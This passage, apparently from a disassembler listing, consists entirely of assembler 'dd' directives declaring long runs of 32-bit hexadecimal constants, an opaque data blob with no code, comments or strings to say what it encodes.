		dd 4ACD12B0h, 70E5ACh, 410923DAh, 9D40C27Eh, 0CC0A5257h
		dd 20A93213h, 45A1BBA4h, 9C0013E0h, 1F0FC321h, 0EC22673h
		dd 0B0C618BEh, 8108F9F8h, 84A8138Ah, 6A08B0B6h,	0F88073A2h
		dd 9F104020h, 0CC950152h, 53BF9ECh, 0C021964Ch,	8CAC78D1h
		dd 214D598Fh, 0A63DDEA1h, 82D0914Eh, 6C00503Eh,	0E33B2BDFh
		dd 0A09444C3h, 76078411h, 0AFBF72h, 24C7FC10h, 0F9041731h
		dd 3014800Fh, 0E8D520C0h, 4D11F713h, 0CE7B7461h, 2724730h
		dd 0D77786FCh, 4F3984Ah, 0A0BD7400h, 2289E8B6h,	10F94DF6h
		dd 653FB3Ah, 28175779h,	9A44792Ah, 3D737BFAh, 5100D5B5h
		dd 0CC29E9B8h, 82E44178h, 481A8729h, 704C0E80h,	7AEECFC6h
		dd 4DB326CEh, 40984410h, 91723665h, 1C400D3h, 6BA3943Bh
		dd 9C009082h, 6CEA4628h, 90E051F3h, 93389B20h, 0A29C3436h
		dd 0BB491C88h, 3F009D9Dh, 2097E794h, 30A65BC4h,	6B742A6Ch
		dd 0B154B000h, 3DC3272h, 733A004Ah, 0A97EEC8Bh,	944E0692h
		dd 54840824h, 30034CB6h, 401913D3h, 20EA4EE0h, 2B3A4F00h
		dd 3506BE28h, 7BBCAC88h, 1B9304D6h, 0B495599Ch,	0A6887550h
		dd 0ACCD0298h, 92579040h, 6A0BB06Ch, 8CA0DF80h,	0DD1116h
		dd 9F6B4CDh, 7F495CE7h,	0A34490BEh, 440568E4h, 7444A283h
		dd 14A7022h, 0F9C90986h, 65A8EE4Dh, 94F427A8h, 28D0D290h
		dd 49CA2Eh, 64594B40h, 0EE9E55E0h, 2AC1DCEBh, 0AE54B302h
		dd 6BE28A95h, 0D861A5ACh, 1878F97Fh, 0ABA214A0h, 4BE73D01h
		dd 9308F0F8h, 5A0730F2h, 6A1B900Bh, 754CC74h, 0D2CA1EDBh
		dd 5188E032h, 4F023E33h, 84D9F0B5h, 5B885858h, 86A43235h
		dd 0E8CA9120h, 0A39B0171h
		dd 0C1AEDBA0h, 50068F9h, 2A9312A6h, 4C1D98F7h, 4AEB00CBh
		dd 0BF9BE929h, 46AFB107h, 0D81A21FEh, 70AD9A0Ah, 80CC2463h
		dd 0AC765DBh, 0B7E5D835h, 0D8CD45F0h, 0E0095768h, 70A615Ah
		dd 22A94EE6h, 29520B18h, 5F8C8804h, 0E0240212h,	250A49Ch
		dd 8408A4E7h, 50EA2136h, 0BB114822h, 7DD3BCC0h,	0C0FDB101h
		dd 61D1F3CAh, 330442Ah,	90C95374h, 13AF11D0h, 0D0D9FAFEh
		dd 0A1332B14h, 575C792Eh, 82940B00h, 9C44233Eh,	4C0D08F4h
		dd 28BCA69Eh, 0FC4B080Bh, 87987442h, 0B0884609h, 840A3A98h
		dd 2D340509h, 90EE54CCh, 6F163Ch, 6B86C921h, 0EA311DE4h
		dd 3046823Fh, 5688758h,	304169C3h, 8F40EF00h, 259EA056h
		dd 50682E5Ch, 44845F0Bh, 77008083h, 0EC5608Ch, 2B5EEDAh
		dd 1825F2AAh, 0E851A816h, 1504AF80h, 0D76D87h, 7D3A3DBDh
		dd 2DA4AD5h, 7323320Ah,	0F006CC2h, 610DFD5Bh, 0CCD75C80h
		dd 8E9F68A7h, 6DB8DA40h, 2DC4CD7Fh, 4811636Ch, 17C76E2h
		dd 750E592Eh, 0B4ECDCB6h, 0FE130007h, 0E5356E1Ah, 2D413DD7h
		dd 8970E1CEh, 0A6E91F13h, 4039AFh, 0DBE5C397h, 0EE938A2h
		dd 0F1F36240h, 982A6125h, 85450B9Ch, 8AA41C20h,	0DDA4E07Fh
		dd 430103CFh, 7E282942h, 75E8E6CDh, 0E0108700h,	69842154h
		dd 244300B6h, 0CA732ADh, 0CB121993h, 8C213486h,	0E1108CAAh
		dd 8403AD77h, 0DF36163h, 0D0A2F56Dh, 10088CC0h,	840173B4h
		dd 0B95FB7DFh, 4069DDF4h, 0EBC62400h, 0A5623565h, 9B5744h
		dd 0D249AB82h, 4EF14A2h, 0D0ACA100h, 0B27F675Ah, 0BE1490C7h
		dd 89B76034h, 7100FA7Bh, 4E412ACh, 200F39EDh, 58F68B11h
		dd 768E588h, 0A20B64D0h, 4CC8406Dh, 9A00D524h, 0D76615B2h
		dd 4E0C2A1h, 5E43855Dh,	2B38C814h, 4917C309h, 0D9F010A1h
		dd 9F9B0F4Ah, 2979D1D0h, 422E5h, 0E70431B5h, 0BD391Dh
		dd 1CFCCBC0h, 0B8D1CC7Dh, 64980753h, 4E405FA0h,	0D45C6F6Eh
		dd 2D6AC300h, 275D41E1h, 28DD00A3h, 4761FE1Eh, 0DC025CDEh
		dd 806F423Eh, 600D3F9h,	51822557h, 17316A3Ch, 0EC28C0DEh
		dd 18BC029Ah, 0DA23BD94h, 5C514484h, 5C4D3A01h,	35E833FCh
		dd 8B60027h, 0BEB552A9h, 802F0BCAh, 5B8498CBh, 940A02Ch
		dd 0EC358981h, 0CC2613FBh, 0F7E068D6h, 4E6289Eh, 0BB62BAC9h
		dd 0E708802Ah, 0B229ABB7h, 8511A8F3h, 59CDE600h, 1025D691h
		dd 38A9C62Ch, 1CDF0440h, 3840078Bh, 90F8AA51h, 0F585FDB8h
		dd 60A00519h, 0D05C3628h, 0F1CC00B2h, 0D465159Fh, 0B45C26FFh
		dd 12B30BE7h, 40EC42D7h, 844ECF84h, 0D9069637h,	0F821A18Dh
		dd 24571000h, 176A898Eh, 0C29F0442h, 4C14F2BCh,	83C32C35h
		dd 0C6E012A8h, 5612BFFFh, 88923319h, 11EC2A81h,	92977C88h
		dd 0BC5C56B0h, 29F50D4h, 79A96272h, 622294Dh, 0CE121152h
		dd 0B2608929h, 75A86154h, 0AC39D017h, 7B00BEC0h, 2AFD97D1h
		dd 0A3B5540Fh, 31D90997h, 9894F47Fh, 349244h, 2B02A2C1h
		dd 0F840CBFFh, 0B90DB43Bh, 0B009AF53h, 71DA0E0h, 72BAF1DCh
		dd 9D1B80BBh, 10132E6Ah, 0E4913D9Bh, 0D108C02h,	0AD4A91B8h
		dd 0AFEFF860h, 326B0C0Ch, 5E04DF3h, 77DC7953h, 0CD2B0484h
		dd 0CCBD5EC5h, 834416C4h, 1A0B0C73h, 35E91CE7h,	6C213D5Eh
		dd 0E5CB7996h, 0B601E4A6h, 0E18FFEF3h, 29C5D06Dh, 70D9C800h
		dd 50F61939h, 0A074B94Dh, 47F95834h, 727A2202h,	80E4B120h
		dd 79711002h, 0C0B93192h, 34B4BF59h, 0B268EFE8h, 0CAC401E4h
		dd 0CF0AE397h, 9B089988h, 0D7403C44h, 8051CE0Fh, 0F56DCA0Eh
		dd 136E84C7h, 52E09681h, 0EC35F852h, 43A20044h,	2F4710D2h
		dd 3F0C5DE2h, 7994AED3h, 6AC600A0h, 11BC5FA7h, 0D404BF36h
		dd 0D9CD18CEh, 79B0B4h,	76EF7114h, 60E37C85h, 84EC6358h
		dd 36458F16h, 0FCE38Ch,	2239584h, 76A055B4h, 823D0021h
		dd 3B58E381h, 0F8AE9060h, 5C08ADF2h, 204192B6h,	7F5F4428h
		dd 64402702h, 400E3A44h, 0DF580Dh, 26F83960h, 26D3FD3h
		dd 5CA2977Dh, 990E04D8h, 0EC0E66DFh, 7F7FA9F1h,	0B204E3AAh
		dd 0A0A29354h, 6680533Fh, 972BE922h, 2879F7E1h,	2CCCEB3Bh
		dd 390C2C08h, 981269A8h, 0E07496C8h, 8E330B27h,	4A03039h
		dd 62748455h, 7B4866C2h, 0C59B00D0h, 38C060F3h,	0FF4A4500h
		dd 0C37791FAh, 3FDA07FCh, 39D58476h, 8F4FB461h,	0A2882E61h
		dd 0E4855A9Ah, 2C707A80h, 2CFB9FE2h, 0F207E2B8h, 0B7274F40h
		dd 0C48670Fh, 0E0C442C8h, 5CC4B3h, 879FC224h, 64F4F337h
		dd 2B82AF17h, 28303452h, 447C291h, 57AFF608h, 3674E0F1h
		dd 396C9E51h, 0CB007458h, 59BB18E0h, 25B735BCh,	7C14083Bh
		dd 0DB10A404h, 6CD1ABEBh, 7088013h, 0BEE14D44h,	0E954A4BCh
		dd 0FC5650B2h, 0AC660F9Fh, 0F57805CBh, 0AA80F4A2h, 13A9D2C6h
		dd 6DC02D00h, 4EBBE56Fh, 0C2EB0227h, 0D457C1B1h, 0A6DAD490h
		dd 0C4307300h, 251FF9BBh, 0D83C006Eh, 2B6F202Ah, 0AC02B219h
		dd 4684566h, 0A4D0598Ch, 0C1DE1E4Ch, 50D37BF3h,	0D200381Fh
		dd 59ECC8h, 3DE1044Ah, 55B0D2BEh, 0D0F99C62h, 1962192h
		dd 38382A8Bh, 0D01C9536h, 0F40014B9h, 0AFD5B9E4h, 33E70145h
		dd 3132FC8Fh, 0F70BCCCDh, 0C79CF00Ch, 9D0249EAh, 0A07CA494h
		dd 64DF4C00h, 0E2F87C94h, 4953009Ah, 0E50A9BD4h, 8C53379Ch
		dd 170E21D0h, 0A80D232h, 27AF5C59h, 0C1EB06C8h,	707731F4h
		dd 4BF9A800h, 599231Ch,	590C59C9h, 0B0E16248h, 0F100C064h
		dd 0B701788Ch, 38CA4214h, 4B119C7Fh, 125878Fh, 48BECB82h
		dd 158E2E8h, 6BD4CD9Dh,	8C3129C0h, 5985ACA1h, 21620AFBh
		dd 93C8BC20h, 8CA06h, 9ACBDDB7h, 693885DFh, 1824F12Fh
		dd 3436443Ch, 960C9CE2h, 2D498E0Ah, 68AF9E27h, 0AB2048h
		dd 7C0AF1A3h, 0DF1B2AE5h, 80E9703Ah, 0D00379FBh, 4B806134h
		dd 47283015h, 6B889CE0h, 3A0A00A5h, 0A4BFDC66h,	0AB00EEB3h
		dd 6B472E0h, 18D075F3h,	310A8788h, 0F836648Dh, 0A518512Ah
		dd 94CB08C4h, 149D48A8h, 77EB0150h, 0FB601197h,	11A47D8Ch
		dd 0E04136CFh, 0AAA1C03Ch, 0D8853B7Dh, 52F09Ch,	599A961Eh
		dd 4CA07811h, 0E4696401h, 0D832FD16h, 0B0202025h, 556749Bh
		dd 17985AF0h, 44B0612Ah, 4885088Bh, 4F224448h, 8E4D3C90h
		dd 199C8C24h, 3887450Fh, 0E6448098h, 5F08CDFAh,	0E69C525Ch
		dd 1C8496Ch, 1A5755BFh,	0C3064D4h, 0CE2804F0h, 0F72DDD6Ch
		dd 396129Ch, 86CC1488h,	7C0842h, 0DF5E7945h, 0DCD786C8h
		dd 83F097E8h, 5C5308C1h, 2082988Fh, 0DEEFF8D9h,	297C3107h
		dd 60290768h, 11FF772Fh, 81A66351h, 2BE7F18h, 0D6D02A44h
		dd 49FA003Fh, 28DF5C35h, 0A706DB19h, 0D7365DFDh, 64EB0049h
		dd 0D22931A8h, 7C6F4D24h, 1A003169h, 4E96F56Ch,	0FEE2AF89h
		dd 1D684558h, 0DE86C232h, 302852F1h, 0DF08D9F4h, 750F3F40h
		dd 8530AA7Eh, 9FB0D84Bh, 0D1EE63B7h, 1A42DFEh, 0BC4387BEh
		dd 33EA7A20h, 9318BB33h, 86282800h, 877185ABh, 0C31DFDAh
		dd 0B271A322h, 0A48490A8h, 0B7320B00h, 85CAB819h, 0EED9011Dh
		dd 0EBA2437Eh, 843099D6h, 0A440E240h, 895AED37h, 0D25184DFh
		dd 20187E42h, 610846B6h, 0A227CC5Ch, 0EF3130CCh, 0E17EE039h
		dd 0F3A70300h, 875363DFh, 9CACC13Ah, 5C835095h,	0B43848D8h
		dd 5D858EEEh, 7DB74225h, 0A4800E96h, 6735AAD5h,	7028DA28h
		dd 2DA1C167h, 685B9AE0h, 530B81DDh, 0B19620F4h,	66058703h
		dd 0B8ED837Eh, 1F1C1581h
		dd 0CA24F1D3h, 5180A329h, 13DACD86h, 0F869F6D2h, 0C314888h
		dd 4E0C8680h, 147A73F6h, 8F381E66h, 886F5528h, 4434A818h
		dd 1E079FEBh, 0F0B29331h, 79D76370h, 990C006Dh,	5DE77F1Fh
		dd 230FBE3Fh, 0C8896684h, 0F4993C87h, 0E85789FDh, 0B37170D3h
		dd 1A4EED1Fh, 0C044B8CFh, 0D97F7972h, 8504917h,	643128h
		dd 147DD484h, 3355A5ACh, 29DF44h, 0B1269C43h, 0D1E27A79h
		dd 5C556BF0h, 2087DCF4h, 9501FCA4h, 6893B626h, 1D836F8h
		dd 0A0C7485Ah, 5F57E400h, 0C1B00C31h, 0EDD58611h, 4D004453h
		dd 7AE7B530h, 3B7C495Bh, 86ABAF2Eh, 38E5D900h, 0EDDCFCDBh
		dd 9158E560h, 2FDA8098h, 0FCB3432Eh, 29CB5700h,	0D1BE23A1h
		dd 3E37901h, 0B2C2ED42h, 21D088C1h, 0E0013B0h, 199328DDh
		dd 17D73ABh, 86A375E6h,	33C8E8D6h, 0FB180C04h, 0E969F4h
		dd 0D40113ADh, 31891C77h, 7C2BB007h, 804A9920h,	9C579C0Ah
		dd 1F804F87h, 0D8198D00h, 0A1D7309Fh, 4599E118h, 0B5621A0Fh
		dd 603213C1h, 727F20DAh, 0A000DC33h, 5CBC3803h,	0CD2506Eh
		dd 2D9CF74Fh, 4000B361h, 0A370FA73h, 6461988h, 3338727Ch
		dd 0BB0049D4h, 8F068E30h, 7AF135Bh, 0D1B9A383h,	58E0B0A8h
		dd 1703282Dh, 14D9C115h, 53593856h, 18D2ECC8h, 0CD4219FCh
		dd 2C6F7312h, 0C45E2D1Eh, 10E30540h, 2DD6E33h, 731B47D7h
		dd 2E4071B6h, 20377E02h, 0BF40E180h, 9880856h, 338239CEh
		dd 0C09B7818h, 247DF700h, 0ADE86F05h, 77A0052h,	0ED0A2892h
		dd 951D04ABh, 358026C7h, 820E483Dh, 0D9DD13F6h,	468430F9h
		dd 4B00EE79h, 0B5A87DE7h, 6275F50h, 9CC1B6B3h, 9F5C2958h
		dd 80DE3CEFh, 0BEC76930h, 0DC815B2Dh, 225740A9h, 0AA646199h
		dd 15FA0A00h, 7C0CDB3Bh, 0D6D91D24h, 0FB7B4048h, 7A6039EDh
		dd 7B83152h, 0F788BB59h, 0FDE29560h, 7BDA26E6h,	84726060h
		dd 40006CE5h, 0EE608E6Eh, 9A5C1FD5h, 1376FA88h,	5F8188h
		dd 4D5DC9DCh, 0B278374Bh, 4E92100Fh, 7827D6D2h,	0D97CBCC0h
		dd 29AF74CEh, 0E09DEAh,	0CC2EB855h, 4301B2E2h, 0C09F5457h
		dd 906429FBh, 425B24E6h, 81934440h, 100E9A88h, 0C3D53329h
		dd 0B239D2B1h, 68FFF6F8h, 0B59F6600h, 49ECE853h, 54ED122Dh
		dd 281440C2h, 5CD2BB34h, 0E7507251h, 1707D978h,	68781E35h
		dd 0BB6C16C0h, 7E7AD4h,	5BED541Ah, 0F4CCBE29h, 0AA24A3Ah
		dd 88C5CF9Eh, 90105500h, 0B0A39F2Fh, 34F500BCh,	9A8E7E4Bh
		dd 0AD64DC38h, 0BE5D29F8h, 0D320AF00h, 3EA017C2h, 0F7EF5F09h
		dd 898C00DCh, 46FDBB4h,	0B8DFB68Ch, 0CDF09098h,	0A3501659h
		dd 5380DBC4h, 0D9F76554h, 0BF10885Bh, 16013DF6h, 0C1EF910Ah
		dd 0C460B48Fh, 0DE9D22FFh, 80F1F46Fh, 0C1F989FEh, 0B3C22C2Fh
		dd 86A16044h, 0BC006876h, 3282BB2Ah, 90B777C0h,	3E564450h
		dd 0BDBAF800h, 0C8C3AF5h, 5B8411C2h, 7F371280h,	69CEE11Dh
		dd 0E0788A17h, 0A911EE08h, 0BC8D8ED8h, 806D9624h, 0FD544059h
		dd 0C1DB6A00h, 24F04FE2h, 0E3F22C7Bh, 0CB7F000Ch, 865B7CB5h
		dd 0A0F769C2h, 2D76601Ch, 0FB3B1C60h, 90D5803Fh, 828EEBB5h
		dd 88BA477Fh, 7568A5Ch,	252C7AA0h, 0FB7D7C50h, 96093DBAh
		dd 0C09DE103h, 990A5403h, 88C35953h, 0E3370B84h, 9E6788C0h
		dd 0C81F88B6h, 0F7BE8C1Ch, 22800CECh, 16C07FF0h, 34B000FBh
		dd 846D3320h, 6A0006D9h, 0F224B1C6h, 3E914A7Dh,	1182753h
		dd 0EC317189h, 67BF01E9h, 0F4BC8h, 64E12960h, 783CF4C9h
		dd 0A3614502h, 40BEA26Fh, 48DFFB18h, 0F4891458h, 0DAE70810h
		dd 0D99D800h, 33926D3Bh, 0A20638B7h, 8B1F8F85h,	558CC16Fh
		dd 882810A4h, 7D4314E6h, 309488CCh, 7C11FA21h, 87B82F00h
		dd 0C2DD61EEh, 0DA1108B0h, 1444C3A3h, 214C009Ah, 61DB4F6Ah
		dd 0BC0135B7h, 0A1B14D7Fh, 87117EBh, 5A585810h,	12BA003Ah
		dd 3D246E4Bh, 88037592h, 0EFBFFAA3h, 0C96810C2h, 458400C8h
		dd 0D9DB8C11h, 0D86755FBh, 285808h, 0A984A386h,	0F91E1AC0h
		dd 9AD93401h, 0DCD2878Fh, 0F05B2440h, 6982083Fh, 378054A0h
		dd 1C0A8F3Bh, 8ECD0330h, 0BA6C2288h, 0E940EEEBh, 0E08B7E88h
		dd 71E29C2Fh, 59D0F5B0h, 5AAE1B65h, 0D49159BCh,	0F47192E7h
		dd 64D1420h, 6A5100A0h,	59CFB97Fh, 2C00DE03h, 32C414DCh
		dd 25995D90h, 54105FD1h, 0F80E49EDh, 4C8AA381h,	89C590BEh
		dd 4952F5D9h, 15DEE584h, 195C3C0Ch, 0D69EC31h, 76D1E392h
		dd 0E1F46021h, 875B4318h, 14F5311h, 7A41558Ch, 0E84E52E5h
		dd 0B60430EBh, 0BB4C3484h, 20C020C2h, 713329Fh,	0F78B2304h
		dd 0F8C0B5A3h, 0C59B495h, 9443D256h, 0C6054759h, 0AD874F7Ch
		dd 7D88C020h, 7EE22CA2h, 0D11E0F10h, 8631784Ch,	49B9D86Fh
		dd 3650057Ch, 4072F4DCh, 7F4CBE6Ah, 47A1C380h, 0B6898E2h
		dd 74D25C46h, 149BAC0h,	85E0FF6Fh, 5CB6350Fh, 60C96C23h
		dd 0DDDE2286h, 8C96B8C8h, 1F41539Ch, 0C0727100h, 679EA88Bh
		dd 9827631h, 6591D135h,	0FE0B6CA3h, 885BD6B8h, 0E77C41CFh
		dd 0F2408BE7h, 2E4C697h, 0CCED706Dh, 4E61B3ECh,	0FC1070D3h
		dd 28DE8222h, 304048D2h, 0D419109Fh, 0E0004D13h, 4A8BAD3Eh
		dd 0FE095Ah, 66D1ED71h,	6221D935h, 37A489C5h, 7C61908Ch
		dd 25FC0051h, 35462106h, 9574D07Eh, 0E89F5F26h,	0E3DD2740h
		dd 70B7588Bh, 0EB5B317h, 29C137C4h, 52BB0BDEh, 0E098DF94h
		dd 0C70D1BEh, 0DBCA30Ch, 819D2h, 0CEBB8203h, 0AD61A80Eh
		dd 5758040Fh, 1CA6214Bh, 3C83C8DAh, 7E3B527Fh, 2CC043A3h
		dd 997CAD49h, 18B023FDh, 0F428C909h, 0F1070196h, 0A3A12AA2h
		dd 84EC634h, 7D8967F8h,	0C080BCC5h, 0DACFE10h, 5800E287h
		dd 34176C7Fh, 1852A29Bh, 188681A9h, 9FFA24D2h, 0D70A7C96h
		dd 1F00E4C5h, 2FC9D982h, 891000DCh, 8148DB9Bh, 79D235D5h
		dd 4A6488h, 146B3893h, 219AA322h, 0A45B9F00h, 33318F6Eh
		dd 0C5F496C8h, 7F728049h, 0EF48EE77h, 281960DDh, 1284BB37h
		dd 304762A3h, 1C3252B4h, 0FD05BF00h, 3A4E4837h,	0C68E00A9h
		dd 0B1E7E9Ah, 7D0FBB56h, 3F4CB443h, 11088C82h, 585040EEh
		dd 47F4AC7h, 4654FE44h,	4899D831h, 25245410h, 0C60302C8h
		dd 0AC486036h, 0FCA03273h, 43044E6Ch, 5B5142D2h, 0DCD4D091h
		dd 0ACCD8710h, 0D859EF16h, 3BD1828h, 280908EAh,	8CE89DD9h
		dd 449AC531h, 0C0E47E58h, 49D26DAAh, 5FAD003Fh,	0BB6861B5h
		dd 0E7004F90h, 0BD8798F3h, 1D6D9CFh, 0C6CD43ECh, 42CA5AEFh
		dd 0B7208738h, 41389h, 0BDD663E1h, 1CDE0F78h, 6943A31Ch
		dd 5CAD86CAh, 0C1D37B85h, 731C7814h, 22F4B502h,	0E681E391h
		dd 0FECE0068h, 7A9AA56Ch, 12041690h, 15D97FBBh,	0B8D8A4h
		dd 0DEA09942h, 0ED380296h, 59F85152h, 72AD0040h, 0A39E7E41h
		dd 0FCEC0914h, 8000427Ch, 4891CFBEh, 0BB386E09h, 46E468F4h
		dd 0F3530051h, 0FB6D0818h, 1400B245h, 71CC287Eh, 130CEC2Bh
		dd 245ED2CBh, 0F7D80B18h, 15EA5410h, 0AA499CF2h, 1A4E0080h
		dd 2539A5DBh, 17AF0DEh,	0C3FAD5AEh, 20E8F64Dh, 90C0BCACh
		dd 0D45F4E14h, 601C0517h, 0D316FDA2h, 7846810h,	34005CBEh
		dd 1660A64h, 107CF2C9h,	3DDC5ED0h, 67AA8088h, 0CD93A4h
		dd 44C6AD4Ah, 0D11B4B8Ah, 0B9824531h, 0CC489086h, 684150D2h
		dd 47F74E8Ah, 44A38F70h, 4CE889DDh, 0C700BCC0h,	0A96F9D70h
		dd 2604B5BAh, 6388D650h, 5100855Bh, 4ADAC47Fh, 1B56F9h
		dd 0D6AA0144h, 3B1731EBh
		dd 5C26F0Bh, 0E52490F4h, 892F0E82h, 0B2C552D5h,	51EC1F25h
		dd 0D61016C3h, 820B6007h, 0B9C1D376h, 0B11503B0h, 27916F79h
		dd 21CC4AC5h, 48E03050h, 10BAB3F7h, 0E6A5BF00h,	7938541Ah
		dd 0DAE413BDh, 0A886002Ah, 3BA9D189h, 98F28E09h, 54440A2Dh
		dd 0E9920A60h, 129901BFh, 0B5E3AFC3h, 81ABF89Dh, 29C1B700h
		dd 20CB76E7h, 0B07F45Dh, 0C068A592h, 40D2C282h,	9C4C3072h
		dd 933D8014h, 3D032E21h, 0F7E1E8h, 65FB7668h, 317A9D74h
		dd 19457CA0h, 28AD1000h, 63C12B40h, 0A7951324h,	0D2608184h
		dd 882AC67Bh, 5038CA87h, 64921Bh, 7243E584h, 9D84B69Dh
		dd 32440037h, 655642B1h, 52D2200h, 0D05A74E2h, 76FF0B47h
		dd 748317C8h, 0F4A21D6Fh, 5200A8DAh, 890F7C25h,	0B49BFAh
		dd 9E6F922Bh, 0EFD370CDh, 77919302h, 52E5698Ch,	1704907Ch
		dd 3DAF43h, 0AB0AAE8Dh,	792E7345h, 0AD0DC082h, 5C31F1D6h
		dd 52DBC700h, 56B80796h, 0C1C43801h, 0E1C64428h, 29E8200Ah
		dd 0E813104Bh, 2270EC54h, 9DA89B79h, 81E500DAh,	0B57F0952h
		dd 34FCC15Ch, 9000215Fh, 0A336EFD1h, 874E3A96h,	0B1F8F17h
		dd 0E41003A0h, 6A125CB8h, 44305A0Eh, 25371DF2h,	6A7CCBBEh
		dd 33384F04h, 374E4F4h,	0B0F8580Ch, 56D10275h, 0F42C206Ah
		dd 4BA4B554h, 103DA58h,	0ED2854F7h, 0CCF81409h,	87230062h
		dd 0D45E354Eh, 472EA3F3h, 0E3891CC3h, 0D87838F6h, 58E12C0Ch
		dd 1C06084h, 0AD13B810h, 3C42BED1h, 0E17D8E16h,	0ED10D860h
		dd 852D0842h, 187C09DCh, 120B7DE0h, 905CD254h, 25C6371Ch
		dd 0F7C07361h, 0D903827Ch, 80B4B284h, 0A3130FCEh, 6ABC00A8h
		dd 9EEE82D6h, 5DE85360h, 2989B4Ch, 0FDB0E389h, 5C7012h
		dd 6E5CB637h, 51D2F0EEh, 71B5A516h, 4EE2041Eh, 0A05030C6h
		dd 51030333h, 4BAF554Fh, 9DF3A80Dh, 0F28900E9h,	0D01D83F6h
		dd 0DB3D3867h, 478F78Eh, 15A94301h, 7F6663C9h, 16847660h
		dd 0B355853h, 0C482819Ch, 0B229DDDCh, 378CC000h, 418881F6h
		dd 13309098h, 0DF190FF4h, 0A760960Fh, 192ACC9Eh, 90ABC200h
		dd 0DC1ADA1h, 0B431C0D0h, 0D2A2939Ch, 10FFE001h, 781B70EFh
		dd 27F02D4h, 874F845Eh,	0F02AD7D8h, 64589411h, 933C560Eh
		dd 82079BE1h, 7F5840D8h, 0D101190Bh, 0BC29A2ACh, 4C7877D2h
		dd 1016094h, 717C41ADh,	9C699Dh, 7F2294D4h, 926B570h, 5B2EDC63h
		dd 0EA7CA410h, 0FFF7CD09h, 223C14F9h, 0E0B4271Ch, 10E87080h
		dd 98813617h, 0C16F00D3h, 74E5AA18h, 680557E6h,	0C008D790h
		dd 94D5A00Bh, 0CD7E01E0h, 7C5368AFh, 87B8C0D7h,	6014D551h
		dd 5F44030Ch, 546CEB53h, 0CB8352C8h, 0C9272D1Fh, 57F07508h
		dd 89462CABh, 0CC4512E8h, 20A855FCh, 74FCE429h,	0C5A7D81Eh
		dd 200D9F09h, 235FBE88h, 0FCDE3BECh, 82513416h,	292CA8h
		dd 0EFA8A9C0h, 8428AA54h, 8043ECB4h, 25F8C720h,	260092E8h
		dd 0B025F4Ah, 8C63A14h,	79208851h, 8EA0D580h, 58FDEDDAh
		dd 0E705CC26h, 0E46924D1h, 5614B6B8h, 378A003h,	0B1A8E983h
		dd 0A86D9BD8h, 48CA4E5h, 5B28B5EBh, 83D14082h, 0C709Ch
		dd 755A414Eh, 156A73BBh, 693B0A02h, 60065205h, 0C0EE31D4h
		dd 0CFD034B9h, 8C00A60Bh, 0E7A219B2h, 0DC95A3h,	0EB58CC49h
		dd 7FD9C3CBh, 480785Ch,	0C089BFF9h, 9C301CC5h, 13DC0821h
		dd 0D564DA86h, 0DFB44868h, 9F000CA6h, 37A262C5h, 98825CE0h
		dd 9422D041h, 25D0205Ah, 3200A8E7h, 11ACD72Bh, 0F2760D1Dh
		dd 7CED0165h, 5EE2707Dh, 0E4E5E7A1h, 0F172D330h, 0D850D600h
		dd 0A521B712h, 0FFED1DA9h, 7D0B001Bh, 589FEC3Ch, 0DE88A60Bh
		dd 0E22C00FEh, 0E35B0EF6h, 0FC0BC28h, 99C960DCh, 20AE0D25h
		dd 0A31910B8h, 64E4FE0h, 318420C8h, 25019290h, 0BDDA1AB3h
		dd 0F3C8435Fh, 0C7972E34h, 0BC20CFC8h, 4CE53B5Ch, 0D6CD4700h
		dd 3D558DFCh, 7B7C0E7Eh, 0B3E013h, 735C46E4h, 0A303FD1Ah
		dd 613439A1h, 0D1881311h, 37D8935Eh, 386FCFDh, 381E5583h
		dd 9E7AF0C1h, 8CA436h, 0CE0E6BCh, 4E0DAAA7h, 2EE92C00h
		dd 0B623D1B8h, 39950509h, 88F7642Bh, 3D1C62FCh,	6C807FE3h
		dd 0BA6D2DAh, 1830009Dh, 315F2CB6h, 2826ACDFh, 48245470h
		dd 0AFAB8200h, 0B13336A2h, 226F00F0h, 9AC65B88h, 0D3A49E03h
		dd 92C0F4E8h, 0ECA049FBh, 48F2D0h, 71298977h, 7EFF3B7Dh
		dd 340009Eh, 1D06793h, 31A0432Ch, 20E56F9Eh, 36007037h
		dd 94BB04DEh, 0B652D507h, 20551DD4h, 192FE23Ch,	0E1115A01h
		dd 0E88C3CF4h, 8EE42C5Dh, 0FE6C0298h, 846C4314h, 0F5A6BA07h
		dd 71C0EB3Ch, 9954538Dh, 6F1388h, 46107320h, 3E2E5FBCh
		dd 1037393h, 48DEE33Ch,	8322C8F9h, 0C3A4371Fh, 5C55C780h
		dd 2A3DB11h, 1534A67Fh,	8CCB4D20h, 3B806057h, 466D0079h
		dd 8BC4EDE7h, 0A99F00B7h, 56B54431h, 1C9480EFh,	833A4240h
		dd 701A0081h, 95D77279h, 7D71BC52h, 421457F3h, 40C03EC9h
		dd 590FFF57h, 85385A92h, 14F24A56h, 10047842h, 0A2D69FFEh
		dd 98DE0090h, 3A6A8802h, 491D092Ch, 9482A654h, 6312DFD5h
		dd 0A97DB0ECh, 224FC26h, 0D11D52A3h, 9C23715Fh,	6E31018Ch
		dd 0D38B3F01h, 0AE40CC5Ch, 0A4CEF500h, 441867D6h, 7D0D01A2h
		dd 7B835033h, 4587D031h, 0D08AB92Eh, 81F1B162h,	0D03C6F81h
		dd 0C0F262F1h, 54FDD9F4h, 0B4454C7Eh, 40480Ch, 9E6B2119h
		dd 13000B76h, 874C553Eh, 199C2C9h, 0A63B9A5Bh, 7D3335EAh
		dd 55341F74h, 0D785EC80h, 14E3DB8h, 92CCAB11h, 50064AAFh
		dd 6F59BEBCh, 9905D4B0h, 0F6E117A2h, 0DE279404h, 119C4940h
		dd 0A36FE0B3h, 7722D020h, 0D5EE500h, 0A75AEF9Eh, 0BB8CB7Ah
		dd 0B63F0818h, 24A4602h, 0E09EA478h, 1508014h, 822286DBh
		dd 29C28FDAh, 559800B4h, 7E51F2C1h, 0B60D315Fh,	4950158h
		dd 0A5299408h, 0ED1C6C64h, 0E0C26845h, 60625FFAh, 5BB8DE0h
		dd 15FBD9FEh, 52D091A0h, 0C0452F8Eh, 24088C06h,	0CE8B80D6h
		dd 0CB860E1Ah, 0F1592C00h, 0FADC0C25h, 0D2370910h, 0AC80A3A5h
		dd 0D118E624h, 10C8558h, 820D5CB6h, 0F3F5D2DEh,	0E03854DEh
		dd 55D8AD39h, 4D2A091Ch, 2F6FD740h, 7B32699h, 0F55C28F0h
		dd 0D447E070h, 0AA50D12Ch, 8F2839C4h, 0E62B86Ch, 5A1CFC8h
		dd 402C94E5h, 643E3B5Ch, 0B4006A37h, 0DEA2BFD4h, 3BFEDC6Ch
		dd 86148C08h, 2611B450h, 0DC48C3h, 0E888BA12h, 30487B90h
